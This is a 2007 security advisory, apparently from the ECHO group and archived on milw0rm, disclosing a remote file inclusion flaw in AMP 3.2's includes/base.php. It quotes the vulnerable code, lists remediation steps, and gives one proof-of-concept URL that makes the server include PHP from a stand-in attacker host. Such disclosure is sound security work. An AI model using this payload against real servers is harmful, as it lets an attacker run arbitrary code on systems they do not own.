Activist Mobilization Platform (AMP) 3.2 - Remote File Inclusion

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_71$2007

---------------------------------------------------------------------------
[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability
---------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 13th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv71-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Activist Mobilization Platform (AMP )
version		: v3.2 
URL		: http://www.radicaldesigns.org

AMP is completely dynamic suite of content management tools designed with the small
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid require_once function at includes/base.php
-----------------------includes/base.php------------
....
<?php
require_once($base_path."includes/base_db.php");
require_once($base_path."includes/base_template.php");
?>

----------------------------------------------------------

Input passed to the "$base_path." parameter in base.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?


Solution:
~~~~~~

- Sanitize variable $base_path affected files.
- Turn off register_globals
- Upgrade to Lastest Version

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-13]